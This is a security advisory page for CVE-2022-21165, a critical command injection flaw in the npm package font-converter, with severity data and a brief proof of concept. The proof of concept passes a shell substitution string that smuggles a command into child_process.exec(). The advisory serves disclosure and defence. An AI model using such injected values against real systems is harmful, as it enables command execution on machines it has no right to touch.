GHSA-g2c3-vwff-m3xr

Suggest an improvement
Source
https://github.com/advisories/GHSA-g2c3-vwff-m3xr
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/08/GHSA-g2c3-vwff-m3xr/GHSA-g2c3-vwff-m3xr.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-g2c3-vwff-m3xr
Aliases
  • CVE-2022-21165
Published
2022-08-29T20:06:54Z
Modified
2024-04-22T23:42:11.510943Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
Font-Converter Vulnerable to Arbitrary Command Injection
Details

Overview

font-converter is a FontForge wrapper that allows conversion between different font formats (TTF, WOFF, OTF)

All versions of this package are vulnerable to Arbitrary Command Injection due to missing sanitization of input that potentially flows into the child_process.exec() function.

PoC

var PUT = require('font-converter');
var x = "$(touch success);# ";
try {
    new PUT(x, x, x, x);
} catch (e) {
    console.log(e);
}
Database specific
{
    "nvd_published_at": "2022-08-29T05:15:00Z",
    "cwe_ids": [
        "CWE-77"
    ],
    "severity": "CRITICAL",
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-22T23:17:12Z"
}
References

Affected packages

npm / font-converter

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Last affected
1.1.1